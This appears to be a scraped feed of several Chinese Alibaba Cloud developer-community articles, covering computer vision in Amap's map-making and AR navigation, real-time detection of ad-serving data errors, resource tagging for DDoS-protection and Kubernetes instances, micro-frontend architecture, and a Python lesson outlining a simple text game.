        [5] http://cybertron.cg.tu-berlin.de/eitz/projects/classifysketch/

        [6] M. Eitz, J. Hays, and M. Alexa. How dohumans sketch objects? ACM TOG, 31(4):44:1–44:10, July 2012.

        ]]>
        高德首席科学家:视觉是连接真实世界的桥梁-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 任小枫

        1.jpg

        我今天主要给大家介绍视觉及相关技术如何在高德落地,如何帮助连接真实世界。连接真实世界这句话并不只是我个人的想法,而是高德地图的使命,我们的使命是“连接真实世界,让出行更美好”。

        首先,简单介绍下高德地图,有超过1亿的日活用户,超过4亿的月活用户,高德地图不光提供导航,也提供出行相关的其他服务,涵盖了信息服务、驾车导航、共享出行、智慧公交、智慧景区、骑行、步行、长途出行等应用场景。

        高德地图做的事情是建立人和真实世界的关系,人要跟真实世界建立联系,地图是基础,地图之上还有更多的信息可以获取。

        视觉是连接真实世界的桥梁

        视觉是连接真实世界的桥梁。为什么?从人的信息获取角度来看,80%的内容是通过视觉获取到的。从人的信息处理来看,人的大脑30%-60%用于视觉感知。从机器的角度,视觉是非常重要的通用感知手段。

        人类感知真实世界的方法,还有很多其他方式,例如传感器、LT...但是,作为通用的手段,我一直觉得视觉是第一选择,通用,信息量非常大,可以远距感知,也可以做到实时。

        还有一个原因,人类真实世界里(各种元素)80%以上是为了视觉而设计。有的时候,我们对真实世界太过于熟悉,可能不会太在意。但是看一下周围的标志和信息,包括认识的事物,都是根据视觉设计和获取。

        因为人类获取信息的主要方式是通过视觉,所以真实世界的设计也是基于视觉。大家可以想象下,如果获取信息的主要方式是通过嗅觉,那这个世界会非常不一样。基于这些,回到我们在做的事情,大家一定不会奇怪,地图信息的获取和建立,绝大部分也是来自于视觉。

        视觉技术@高德地图:地图制作

        视觉技术在高德地图的应用有很多不同的方式,如下图所示:

        2.jpg


        左边是地图制作,有常规地图和高精地图,高精地图对应于未来的无人驾驶。右边是跟导航体验相关的,我们在做的一些跟定位相关的工作,也在利用视觉技术希望使导航变得更加便利。因为时间关系,今天只给大家介绍常规地图和导航相关的部分。

        地图服务从哪里来,首先要采集资料,目前绝大部分是通过相机和视觉的方式采集信息。真实世界很大,全国有几百万公里道路,再加上其他信息,人工方式目前是处理不过来的,很大程度上需要用自动识别,通过算法识别资料。当然有时候算法没办法做到100%,还需要人工修正,从而制作成地图数据库,来支持地图数据服务。

        地图制作任务,常规地图任务通常分为两大类,一类是道路相关,一类是POI挂牌识别。这两类任务都需要较多的视觉技术。例如,在道路标志识别上,算法要做的就是把道路上的标志一个一个全部找出来,同时识别标志的类型和内容。

        3.jpg


        道路标志有100多种。如果只是处理这些标志,其实并不是那么复杂。现实中,有时候需要用低成本的方式采集数据,这时如何保证图像质量就是需要考虑和解决的问题。

        采集信息的时候,有时候图片会有畸变、反光、遮挡等情况,先不说分辨率压缩的问题,成像本身取决于镜头的质量和成本、天气条件、光线等因素,有时候采集回来的图像中差的图很多。这时候就不只是单纯去解决一个理想当中的算法问题,也需要处理很多实际情况。

        给大家举几个例子,下面左边的图是实际采集的图像,会有各种各样的问题。大家对相机有些了解的话,知道相机有内参和外参,内参是焦距、中心、畸变。外参是位置、角度,这些都会影响成像效果。

        4.jpg

        对于识别问题来说,这些相机参数不会造成太大问题,但是如果需要做一些跟几何、位置相关的计算,这时候相机畸变和内外参不准就会造成很大的问题。我们通过把多源数据放在一起做匹配,基本可以解决这个问题。右边是一个实际例子,相机的畸变纠正角度,有一些斜的被纠正过来了,很大的提高了后面的算法处理。

        另一个例子,图像质量。有的图质量比较差,但是没办法丢掉,还是有有用的信息。有的原始图像,放大之后非常模糊。如果这时采用图像增强的方法,可以把这张图变得更清楚。改善原始数据的质量,有很多可用的方法。比如提高识别算法精度,提高人工效率,也可以用它做模糊的检测,对比一下增强前后,可以知道哪些是模糊,哪些是不模糊。

        刚才举的只是交通标志的例子。还有一个有趣的问题,就是感知电子眼。电子眼很小,而小目标的检测是一个有挑战的问题,在研究领域大家也比较关注。大家可以感受下,拿一张图,如果是太小的东西,放大之后就看不清了,还不如远景。那怎么能比较精确的找到这么小的电子眼呢?

        通常方式就是放大区域,因为这个东西太小了,光找这个目标比较难,找到区域放大,引入周边的信息。这些信息可以帮助更好的找到这个小目标,放的再大一点,才能看到其他相关的信息来帮助电子眼的智能检测。
        但是放得太大也会有问题,放的太大会引入很多无关的信息。从技术上来说有一些解决方法,现在视觉技术上用的比较多的有一个注意力机制,画一个大框,机器自己会学哪块重要哪块不重要,帮助更好的聚焦到目标本身。当然,尽量会用一些先验信息,比如本身的分布、高度、大小。

        5.jpg

        光检测还不够,很多时候真实世界在变。很多时候要分辨出哪些变了哪些没变。以前检测出一个电子眼,新的资料又检测出一个电子眼,需要知道这两个是否是同一个。

        如何判断?因为这张图表达的不一样,如果仔细看,确实可以看到背景的建筑、架设类型都差不多。需要用算法来判断到底是不是,这就牵涉到目标检测、车道归属、架设类型分析,还要做场景匹配。通过这些,很大程度上可以判断这是一个什么场景,从而判断两张图的元素是不是同一个。

        刚才说的是道路,下面是几个跟POI相关的例子。POI的牌子,可以分成好多不同类型,有牌坊式、挂牌式、门脸式等。不仅POI各种各样,非POI其实也各种各样。如果只是检测文字的话,你会发现真实世界里的很多不是POI,有的只是标牌、标语、广告、对联、交通标志等。所以,要区分出POI和非POI。

        有很多其他的复杂场景,这里不一一举例了,有些可能平时也不太能想到,比如三维挂牌,它不是一个平的牌子,在街角,可能是一个水果超市,沿着街角弯曲过来。这类牌子很难在一张图里完全检测出来,即使检测出来,一不小心就会分成两块牌子,所以真实世界的复杂性还是会造成更多的问题。

        面对这么多复杂性,需要去分析具体场景的情况。很多时候最后的结果往往不是一个算法就能解决所有的问题,需要各种算法的融合。比方说,如果是文字,需要做检测,文字本身也需要做检测和识别。位置的话,需要做一些三维方面的推断。很多时候资料获取到以后也有模糊和遮挡的部分,也要做判断。

        每一个判断不是单一办法就可以解决,不是光靠一个模型就能够做到最好的效果,需要的是两个甚至更多的模型,从不同的角度去解决问题,才能够达到更好的效果,这是在数据积累的基础之上。

        上面列举的一些问题有一定的复杂性,跟所有的问题一样,越做到后面越难,我们现在还在做,这些算法很大程度上决定了地图制作的效率和触达到用户的地图质量,这些是非常重要的核心问题。

        POI也不光是以上介绍的只需要判断是不是POI或者文字识别,很多时候还需要做版面的内容理解。如果一个牌子,需要知道这个牌子上的信息,有时候会有主名称,有时候会有分店,有时候没有,有没有联系方式、营业范围,这些都需要用算法去做。

        视觉技术@高德地图:导航

        以上介绍的是在地图制作方面有很多的复杂性,需要用视觉算法或者其他算法来处理。接下来分享下在导航方面的。

        先说下自己的一个体会。前段时间在西班牙休假,欧洲的环岛特别多,谷歌(地图)导航经常提示我,进了弯道之后从第三个出口出去,我当时特别郁闷,因为要数口子,经常你也不知道那个到底算不算出口,所以走错了好几次。我在国内没开过车,国内的交通更复杂,例如在北京的西直门,有时候可以直接右拐,有时候需要转一个810度的圈。

        我们希望对导航的方式做一个比较大的变化,让它变成所见即所得的场景。如果有算法能够直接告诉人们往哪边走,对人来说是更加有用的,能够让开车更加简单,导航变得更加直接。

        很多汽车现在都会有摄像头,不管是前端还是后端,很多时候可以获取到视频数据。我们把AI算法计算出的效果叠加在视频上,告诉人们到底该怎么走。

        6.jpg


        高德在今年4月份发布了AR导航产品,这个产品里有一项是实景增强,它会告诉你应该保持在这条线上继续往前开或者转弯,会有压线的提示,会有箭头告诉你前面右转。

        这个产品中,除了引导之外,还有别的功能。例如,也加入了前车的碰撞预警功能,会估计前车的距离和速度,这将帮助大家安全驾驶。其他事物也可以用更加直观的方式展示,例如限速,电子眼,跟斑马线相关的,如果看到前方有人,也会做出提示。

        以上的功能看起来可能不那么难,但要实现起来很难。为什么?因为我们希望这是每个人马上就能实用的功能,所以要做到很低的成本。这和自动驾驶系统不一样。从传感器的角度,我们要做的是单个传感器,而且是低成本的相机。从计算的角度来说,自动驾驶系统可能会用一个几百瓦的专用芯片,而对于我们来说,所需要的算力大概只是普通手机的五分之一。

        给大家看一个AR导航的例子,这是实际算法的输出,这个例子里面有车辆的检测,车道线的分割,和引导线的计算等。刚才提到了,高性能(低算力)是一个主要挑战,那我们在开发算法的时候就要充分考虑计算效率,包括各种手段,比如模型压缩,小模型训练优化,检测和跟踪的结合,多目标的联合模型,和传统GPS导航的融合,等等,需要几件事情在一个模型里做。

        真实世界是非常复杂的,要做到高质量、高效的地图制作,或者做到精准的定位导航,在视觉方面还有很多工作要做。希望通过以上介绍,大家对视觉技术在高德地图中的应用,在出行领域的应用,有了更多的了解,也对高德的使命有了更多了解。

        我们在很多时候需要去连接真实世界或者是理解真实世界,才能够让出行更美好。希望能够尽快的把这些做好,让大家实际应用高德APP的时候,能够感受到技术进步带来的体验变化。我今天就讲到这里,谢谢大家。

        ]]>
        线上广告投放出现bug,如何实时发现?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 大倪

        1.jpg

        一、背景

        电商平台的搜索广告数据处理链路通常较长,一般会经历如下过程:

        2.jpg

        1. 广告主在后台进行广告投放;
        2. 投放广告品及关键词数据写入数据库;
        3. 数据库中的数据通过全量构建(导入数据仓库再进行离线批处理)或增量构建(借助消息队列和流计算引擎)的方式产出用于构建在线索引的“内容文件”;
        4. BuildService基于“内容文件”,构建出在搜索服务检索时使用的索引。

        下图是ICBU的广告系统的买卖家数据处理链路:


        3.jpg

        右半部分(BP->DB)和offline部分即为广告投放数据的更新过程。

        复杂的数据处理链路结合海量(通常是亿级以上)的商品数据,对线上全量商品的投放状态正确性测试提出巨大挑战。从数据库、到离线大规模数据联表处理、到在线索引构建,链路中的任一节点出现异常或数据延迟,都有可能会对广告主以及平台造成“资损”影响,例如:

        1. 广告主在后台操作取消A商品的广告投放,但是因为数据链路处理延迟,搜索引擎中A的状态仍处于“推广中”,导致A能继续在买家搜索广告时得到曝光,相应地当“点击”行为发生时,造成错误扣款。
        2. 广告主设定某个产品只限定对某个地域/国家的客户投放广告,但是因为搜索引擎的过滤逻辑处理不恰当,导致客户的广告品在所有地区都进行广告投放,同样会造成错误点击扣款。

        传统的测试手段,或聚焦于广告主后台应用的模块功能测试,或聚焦于搜索引擎的模块功能测试,对于全链路功能的测试缺乏有效和全面的测试手段。而线上的业务监控,则侧重于对业务效果指标的监控,如CTR(click through rate,点击率)、CPC(cost per click,点击成本)、RPM(revenue per impression,千次浏览收益)等。对涉及广告主切身利益和平台总营收的广告错误投放问题,缺乏有效的发现机制。

        我们期望对在线搜索广告引擎所有实际曝光的商品,通过反查数据库中曝光时刻前它的最后状态,来校验它在数据库中的投放状态与搜索引擎中的状态的一致性,做到线上广告错误投放问题的实时发现。同时,通过不同的触发检测方式,做到数据变更的各个环节的有效覆盖。

        二、阶段成果

        我们借助日志流同步服务(TTLog)、海量数据NoSQL存储系统(Lindorm)、实时业务校验平台(BCP)、消息队列(MetaQ)、在线数据实时同步服务(精卫)以及海量日志实时分析系统(Xflush)实现了ICBU搜索广告错误投放问题的线上实时发现,且覆盖线上的全部用户真实曝光流量。同时,通过在数据变更节点增加主动校验的方式,可以做到在特定场景下(该广告品尚未被用户检索)的线上问题先于用户发现。

        此外,借助TTLog+实时计算引擎Blink+阿里云日志服务SLS+Xflush的技术体系,实现了线上引擎/算法效果的实时透出。

        下面是ICBU广告实时质量大盘:

        4.jpg

        从八月底开始投入线上使用,目前这套实时系统已经发现了多起线上问题,且几乎都是直接影响资损和广告主的利益。

        三、技术实现

        图一:

        5.jpg

        1. 引擎曝光日志数据处理

        对于电商搜索广告系统,当一个真实的用户请求触达(如图一中1.1)时,会产生一次实时的广告曝光,相对应地,搜索引擎的日志里会写入一条曝光记录(如图一中2)。我们通过日志流同步服务TTLog对搜索引擎各个服务器节点上的日志数据进行统一的搜集(如图一中3),然后借助数据对账服务平台BCP对接TTLog中的“流式”数据(如图一中4),对数据进行清洗、过滤、采样,然后将待校验的数据推送到消息队列服务MetaQ(如图一中5)。

        2. DB数据处理

        图二:

        6.jpg

        如图二所示,通常,业务数据库MySQL针对每个领域对象,只会存储它当前时刻最新的数据。为了获取广告品在引擎中真实曝光的时刻前的最后数据,我们通过精卫监听数据库中的每次数据变更,将变更数据“快照”写入Lindorm(底层是HBase存储,支持海量数据的随机读写)。

        3. 数据一致性校验

        在广告测试服务igps(我们自己的应用)中,我们通过监听MetaQ的消息变更,拉取MetaQ中待校验的数据(如图一中6),解析获得曝光时每个广告品在搜索引擎中的状态,同时获得其曝光的时刻点。然后基于曝光时刻点,通过查询Lindorm,获得广告品于曝光时刻点前最后在MySQL中的数据状态(如图一中7)。然后igps对该次广告曝光,校验引擎中的数据状态和MySQL中的数据状态的一致性。

        如果数据校验不一致,则打印出错误日志。最后,借助海量日志实时分析系统Xflush(如图一中8),我们可以做到对错误数据的实时聚合统计、可视化展示以及监控报警。

        4. 数据变更节点的主动校验

        因为线上的实时用户搜索流量具有一定的随机性,流量场景的覆盖程度具有很大的不确定性,作为补充,我们在数据变更节点还增加了主动校验。

        整个数据链路,数据变更有两个重要节点:

        1. MySQL中的数据变更;
        2. 引擎索引的切换。

        对于MySQL中的数据变更:我们通过精卫监听变更,针对单条数据的变更信息,构建出特定的引擎查询请求串,发起查询请求(如图一中1.3)。

        对于引擎索引的切换(主要是全量切换):我们通过离线对历史(如过去7天)的线上广告流量进行聚合分析/改写,得到测试用例请求集合。再监听线上引擎索引的切换操作。当引擎索引进行全量切换时,我们主动发起对引擎服务的批量请求(如图一中1.2)。

        上述两种主动发起的请求,最后都会复用前面搭建的数据一致性校验系统进行广告投放状态的校验。

        7.jpg

        上图是对广告投放状态的实时校验错误监控图,从图中我们清晰看到当前时刻,搜索广告链路的数据质量。无论是中美业务DB同步延迟、DB到引擎数据增量处理链路的延迟、或者是发布变更导致的逻辑出错,都会导致错误数据曲线的异常上涨。校验的规则覆盖了推广计划(campaign)、推广组(adgroup)、客户状态(customer)、词的状态(keyword)、品的状态(feed)。校验的节点覆盖了曝光和点击两个不同的环节。

        5. 引擎及算法的实时质量

        图三:

        8.jpg

        搜索引擎日志pvlog中蕴含了非常多有价值的信息,利用好这些信息不仅可以做到线上问题的实时发现,还能帮助算法同学感知线上的实时效果提供抓手。如图三所示,通过实时计算引擎Blink我们对TTLog中的pv信息进行解析和切分,然后将拆分的结果输出到阿里云日志服务SLS中,再对接Xflush进行实时的聚合和可视化展示。

        9.jpg

        如上图所示,上半年我们曾出现过一次线上的资损故障,是搜索应用端构造的搜索广告引擎SP请求串中缺失了一个参数,导致部分头部客户的广告没有在指定地域投放,故障从发生到超过10+客户上报才发现,历经了10几个小时。我们通过对SP请求串的实时key值和重要value值进行实时监控,可以快速发现key值或value值缺失的场景。

        此外,不同召回类型、扣费类型、以及扣费价格的分布,不仅可以监控线上异常状态的出现,还可以给算法同学做实验、调参、以及排查线上问题时提供参考。

        四、几个核心问题

        1. why lindorm?

        最初的实现,我们是通过精卫监听业务DB的变更写入另一个新的DB(MySQL),但是性能是一个非常大的瓶颈。我们的数据库分了5+个物理库,1000+张分表,单表的平均数据量达到1000+w行,总数据达到千亿行。

        后通过存储的优化和按逻辑进行分表的方式,实现了查询性能从平均1s到70ms的提升。

        10.jpg

        2. why BCP + MetaQ + igps?

        最初我们是想直接使用BCP对数据进行校验:通过igps封装lindorm的查询接口,然后提供hsf接口供在BCP里直接使用。

        但是还是因为性能问题:TTLog的一条message平均包含60+条pv,每个pv可能有5个或更多广告,每个广告要查6张表,单条message在BCP校验需要调用约60x5x6=1800次hsf请求。当我们在BCP中对TTLog的数据进行10%的采样时,后端服务igps的性能已经出现瓶颈,hsf线程池被打满,同时7台服务器的cpu平均使用率达到70%以上。

        借助MetaQ的引入,可以剔除hsf调用的网络开销,同时将消息的生产和消费解耦,当流量高峰到达时,igps可以保持自己的消费速率不变,更多的消息可以暂存在队列里。通过这一优化,我们不仅扛住了10%的采样,当线上采样率开到100%时,我们的igps的服务器的平均cpu使用率仍只维持在20%上下,而且metaq中没有出现消息堆积。

        11.jpg

        不过这样一来,bcp的作用从原来的“采样、过滤、校验、报警”,只剩下“采样、过滤”。无法发挥其通过在线编码可以快速适应业务变化的作用。

        3. why not all blink?

        其实“BCP + MetaQ + igps”的流程可以被“Blink + SLS”取代,那为什么不都统一使用Blink呢。

        一方面,目前点击的校验由于其流量相对较小的因素,我们目前是直接在BCP里编写的校验代码,不需要走发布流程,比较快捷。而且BCP拥有如“延迟校验”、“限流控制”等个性化的功能。另一方面,从我们目前使用Blink的体验来看,实时的处理引擎尚有一些不稳定的因素,尤其是会有不稳定的网络抖动(可能是数据源和Blink workder跨机房导致)。

        4. SP请求的key值如何拆分?

        在做SP请求串的实时key值监控的时候,遇到了一个小难题:SP的请求串中参数key是动态的,并不是每个key都会在每个串中出现,而且不同的请求串key出现的顺序是不一样的。如何切分使其满足Xflush的“列值分组”格式要求。

        实现方式是,对每个sp请求串,使用Blink的udtf(自定义表值函数)进行解析,得到每个串的所有key和其对应的value。然后输出时,按照“validKey={key},validValue={value}”的格式对每个sp请求串拆分成多行输出。然后通过Xflush可以按照validKey进行分组,并对行数进行统计。

        总结及后续规划

        本文介绍了通过大数据的处理技术做到电商搜索广告场景下数据端到端一致性问题的实时发现,并且通过“实时发现”结合“数据变更节点的主动校验”,实现数据全流程的一致性校验。

        后续的优化方向主要有两方面:

        1. 结合业务的使用场景,透出更丰富维度的实时数据。
        2. 将该套技术体系“左移”到线下/预发测试阶段,实现“功能、性能、效果”的一键式自动化测试,同时覆盖从搜索应用到引擎的全链路。
        ]]>
        标记(TAG)您的DDoS高防实例资源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 标签的基本知识
        • 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。
        • 标签与资源是 多对多的关系。
        • 标签可让您按各种标准(例如用途、所有者或环境)对 阿里云 资源进行分类。这在您具有相同类型的许多资源时会很有用,您可以根据分配给资源的标签快速识别特定资源。
        • 标签对阿里云资源没有任何语义意义,应严格按字符串进行解析。同时,标签不会自动分配至您的资源。您可以修改标签的key和value,还可以随时删除资源的标签。您可以将标签的值设为空的字符串,但是不能将其设为空值。如果您添加的标签的值与该实例上现有标签的值相同,新的值就会覆盖旧值。如果删除资源,资源的所有标签也会被删除。
        • 可以使用管理控制台 和 API 处理标签。
        • 标签设计详情见最佳实践

        标签的限制

        • 最大键(key)长度:128 个 Unicode 字符
        • 最大值(value)长度:128 个 Unicode 字符
        • 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。
        • 允许的字符包括 Unicode 字母、空格和数字。
        • 每个资源的最大 自定义 标签数:20
        • 键(key)不支持 aliyun、acs: 开头。 不允许包含http://https:// 。不允许为空字符串。
        • 值(value)不允许包含http://https:// 。允许为空字符串。

        操作您的资源

        您可以标记新的或现有的防护包实例

        1. API操作

        2. 控制台操作

        相关文档

        高阶实践:云监控基于tag自动化监控
        高阶实践:强制TAG——自动化打标签运维
        基于OOS批量修改资源标签(TAG)值(Value)
        高阶实践:强制TAG——必须带标签创建ECS 资源
        ECS支持跨地域跨资源类型的标签(TAG)操作
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签
        标记(TAG)您的MongoDB数据库实例
        标记(TAG)您的CDN 资源——域名(domain)
        标记(TAG)您的 OSS 资源
        标记(TAG)您的 RDS 资源
        标记(TAG)您的 SLB 资源
        标记(TAG)您的 ECS 资源
        标记(TAG)您的redis数据库实例
        标记(TAG)您的弹性容器实例(ECI)资源
        标记(TAG)您的漏洞扫描(CSS)资源
        标记(TAG)您的API网关资源
        标记(TAG)您的polardb集群资源

        ]]>
        标记 (TAG) 您的 k8s 集群资源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 标签的基本知识
        • 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。
        • 标签与资源是 多对多的关系。
        • 标签可让您按各种标准(例如用途、所有者或环境)对 阿里云 资源进行分类。这在您具有相同类型的许多资源时会很有用,您可以根据分配给资源的标签快速识别特定资源。
        • 标签对阿里云资源没有任何语义意义,应严格按字符串进行解析。同时,标签不会自动分配至您的资源。您可以修改标签的key和value,还可以随时删除资源的标签。您可以将标签的值设为空的字符串,但是不能将其设为空值。如果您添加的标签的值与该实例上现有标签的值相同,新的值就会覆盖旧值。如果删除资源,资源的所有标签也会被删除。
        • 可以使用管理控制台 和 API 处理标签。
        • 标签设计详情见最佳实践

        标签的限制

        • 最大键(key)长度:128 个 Unicode 字符
        • 最大值(value)长度:128 个 Unicode 字符
        • 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。
        • 允许的字符包括 Unicode 字母、空格和数字。
        • 每个资源的最大 自定义 标签数:20
        • 键(key)不支持 aliyun、acs: 开头。 不允许包含http://https:// 。不允许为空字符串。
        • 值(value)不允许包含http://https:// 。允许为空字符串。

        操作您的资源

        您可以标记新的或现有的集群实例

        1. API操作

        2. 控制台操作

        相关文档

        高阶实践:云监控基于tag自动化监控
        高阶实践:强制TAG——自动化打标签运维
        基于OOS批量修改资源标签(TAG)值(Value)
        高阶实践:强制TAG——必须带标签创建ECS 资源
        ECS支持跨地域跨资源类型的标签(TAG)操作
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签
        标记(TAG)您的MongoDB数据库实例
        标记(TAG)您的CDN 资源——域名(domain)
        标记(TAG)您的 OSS 资源
        标记(TAG)您的 RDS 资源
        标记(TAG)您的 SLB 资源
        标记(TAG)您的 ECS 资源
        标记(TAG)您的redis数据库实例
        标记(TAG)您的弹性容器实例(ECI)资源
        标记(TAG)您的漏洞扫描(CSS)资源
        标记(TAG)您的API网关资源
        标记(TAG)您的polardb集群资源
        标记(TAG)您的DDoS高防实例资源

        ]]>
        未来,仅凭几个前端工程师,就能 hold 住一家企业吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 克军

        ​阿里妹导读:微前端架构旨在解决单体应用在一个相对长的时间跨度下,由于参与的人员、团队的增加,从一个普通应用演变成一个巨石应用(Frontend Monolith),随之而来的应用不可维护问题。这类问题在企业级 Web 应用中尤为常见。今天,我们就来聊聊拥抱云时代的前端开发架构:微前端。

        微前端的价值

        阿里云提供的很多商业化产品和服务,本质上是对外提供「能力」,普惠中小企业。目前,能力输出主要是通过 OpenAPI,用以集成到企业自己的业务场景中,这里主要解决的还是企业底层的能力问题——无需雇佣算法工程师,就可以拥有语音、图像识别等能力。安全也是一样,不需要找安全专家,普通的工程师就可以通过控制台高效地处理各种安全事件。

        但是,随着云技术不断的下沉,与产业结合的越来越紧密,OpenAPI 唯有把粒度做得越来越细,才能满足各种各样的业务场景,但同时企业侧的学习成本和开发复杂度自然就上去了。控制台做为管(理)控(制)这些能力的工具,目前也只能算是「标品」,必须为了满足不同体量、不同业务特点的需求,灵活地组合和部署,就像是用户自己开发的一样。

        综上所述,微前端的价值有 3 点:

        解决产品侧的扩展性和组合性。化整为零,自由组合。
        解决能力输出的「最后一公里」。
        云生态中的「新物种」 — 微应用。

        如果微前端只存在工程上的价值,那它是不值得大张旗鼓去做的。

        我认为,前端团队需要在这个方面做出业务价值。如果你问我 Ant Design 有什么技术价值?它的价值就是有大量的企业在用,形成某种能力依赖,不需要找设计师或者多么资深的前端工程师,就可以做出看上去很专业的后台界面。

        在这条价值链路上,OpenAPI 太底层,控制台不灵活,UI 库太通用。其中的空白点是绑定能力的商业化组件。举个例子,企业的后台管理页上,可以直接 inside 一个「漏洞管理」的微前端应用,和一个 DataV 的微前端应用展示数据,只需要简单配一下即可,不用开发,就能做到“就像自己开发的一样”。反过来也一样,ISV 在阿里云的产品平台上,不仅可以通过小程序的形式,也可以通过微前端应用的形式输入自己的服务。

        微前端的问题域

        简单地说,搞微前端目的就是要将产品原子化(跟原子化的 OpenAPI 一个道理),再根据客户业务场景组合。每个功能模块能单独迭代,自由集成当然好,但维护成本怎么控制。怎么调试、公共组件版本控制、众多同窗微应用之间怎么“和谐相处”等等。微前端并非只是解决在页面上异步加载一个模块就完事了,更多的是将改造引发的一系列问题需要通过体系化的方案解决,否则就变成反生产力工具。

        目前,阿里的微前端方案有 qiankun(乾坤)、Magix、icestack、以及内部很多的微前端解决方案。或多或少都带有一些自身的业务特色,没有明确提出标准,或者明确定义微前端的技术体系到底包含哪些内容。这方面有项目落地的团队真应该再进一步瞄准更高的价值点做,同时广泛交流,这样才能更快得出标准化的东西。我们团队也在实践中,这里我抛出一些开放性问题讨论。

        首先必须明确微前端不是框架、不是工具/库,而是一套架构体系,它包括若干库、工具、中心化治理平台以及相关配套设施。

        微前端包括 3 部分:

        微前端的基础设施。这是目前讨论得最多的,一个微应用如何通过一个组件基座加载进来、脚手架工具、怎么单独构建和部署、怎么联调。
        微前端配置中心:标准化的配置文件格式,支持灰度、回滚、红蓝、A/B 等发布策略。
        微前端的可观察性工具:对于任何分布式特点的架构,线上/线下治理都很重要。

        微前端具体要解决好的 10 个问题:

        微应用的注册、异步加载和生命周期管理;
        微应用之间、主从之间的消息机制;
        微应用之间的安全隔离措施;
        微应用的框架无关、版本无关;
        微应用之间、主从之间的公共依赖的库、业务逻辑(utils)以及版本怎么管理;
        微应用独立调试、和主应用联调的方式,快速定位报错(发射问题);
        微应用的发布流程;
        微应用打包优化问题;
        微应用专有云场景的出包方案;
        渐进式升级:用微应用方案平滑重构老项目。

        通过问题理解问题是一种思考方式,相信大家能沟通通过微前端三大组成部分和它要解决的 10 个问题,能够有一个大概的理解。下面,看一下我归纳的微前端的架构体系(如图):

        123002.jpg

        通过上图,很明显的看出前后端分工,以及线上微应用相关配置流程。整体运行环境以及开发流程是非常复杂的,留到大会的时候再详细讲解。

        微前端的基本原理

        如下图所示,微前端的工程化是从传统前端工程化体系升级上来的。

        123003.jpg

        比如构建,增加微应用类型的项目构建,有动态的打包策略。传统项目管理工具通常是命令行工具,包括构建、发布、测试,会升级为项目工作台,通过 Web 界面管理项目。一个项目包括哪些微应用,版本,发布策略等在配置中心统一管理。一个大型应用被「碎片化」后,还要能做到「一目了然」。哪个模块报错,加载失败等异常发生第一时间反应在配置中心里。

        下面的原型图,就是一个最基本的配置中心的样貌。微前端体系要可控、可观察。

        123003.jpg

        通过多个微应用的组合,能够在变化如此复杂的需求中,更好的更快的赋能业务。

        云时代的前端开发模式

        前端开发从 PC 时代到移动时代,从刀耕火种的原始运维到云计算时代,回顾起来,我们会发现——开发模式跟时代背景真是密不可分。前端奋斗 20 年才把页面写好,而现在又变成「切页面」了,只是此「切」非彼「切」。云时代的开发模式注定是「碎片化」的,开发是面向模块的,而页面只是一种组合场景,一种运行时容器。

        我想,未来的产品开发主要时间是在「编排」——编排服务、编排逻辑、编排组件、编排访问策略、编排流程。到了云时代,一家企业只要招几个前端工程师就可以了,兼顾开发和运维、资产全部上云,运维任务通过控制台就能完成。开发借助 Serverless 和编排工具就能实现无服务端。在未来,无论是前端工程师还是全栈工程师,都将不复存在,应该叫端到端(F2E -> E2E)工程师了。

        ]]>
        游戏的运行逻辑分析 | Python从入门到精通:入门篇之二十二-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第二十一节:Python性能优化
        首先来看一下游戏的效果图:
        image.png
        因为还没有学习界面设计,所以咱们还是在DOS命令行里面运行程序,模拟一个游戏的制作。
        一、第一部分就是一个“身份的选择”。
        1、当我们选择了“唐僧”的时候:
        image.png
        系统显示我们的身份信息和可以进行的操作。
        2、当我们选择了“白骨精”的时候:
        image.png
        因为“白骨精”是超级大反派,所以是不可以直接当boss的哈,系统为我们匹配的身份依然是“唐僧”。
        3、当我们输入1、2之外的内容(数字或者字母):
        image.png
        系统为我们分配了“唐僧”的身份。接下来就跟上面是一样的了。
        所以第一部分“身份的选择”大致逻辑就是如下:
        ①显示提示信息:
        欢迎xxx光临!
        请选择你的身份:
        1.xxx
        2.xxx
        请选择:x
        ②根据用户选择来分配身份(根据不同选择显示不同的提示信息)
        1.---
        2.---
        3.---
        目前对于我们这个游戏来说,选择不同身份之后只是提示信息不同,最终分配的身份都是以“唐僧”进行游戏。
        二、第二部分就是一个“游戏的进行
        当我们完成身份的选择之后,获得了“唐僧”的身份,接下来可以该角色进行游戏。
        image.png
        显示玩家的基本信息(攻击力 生命值)
        身份:“唐僧”
        攻击力:2
        生命值:2
        你也可以设置的复杂一点,包括防御力,敏捷,装备。。但是在这里主要是一个小练习,所以我们就做的简单一点,只包括攻击力和生命值,这些内容都是初始化的内容,一旦选择了身份,值就是固定的。
        接下来是可以进行操作的选择,包括练级、打boss、逃跑。
        显示玩家可以进行的操作:
        1、练级:提升玩家的攻击力和生命值。
        2、打boss:玩家对boss进行攻击,玩家要攻击boss,boss也要反击。
        在这里要计算boss是否被玩家消灭,玩家是否被boss消灭。
        3、逃跑:游戏的退出,显示提示信息,退出游戏。
        小提示:在玩家选择了操作之后,比如练级,升级结束依然可以继续选择操作,想想这部分可以怎么写。
        游戏的逻辑就是这样啦,相信同学们心里已经有了一个大致的代码样子,接下来就去将它实现吧!
        第二十三节:唐僧大战白骨精

        视频学习:阿里云大学之Python进阶必看

        配套Python进阶文章点击此处获取

        ]]>
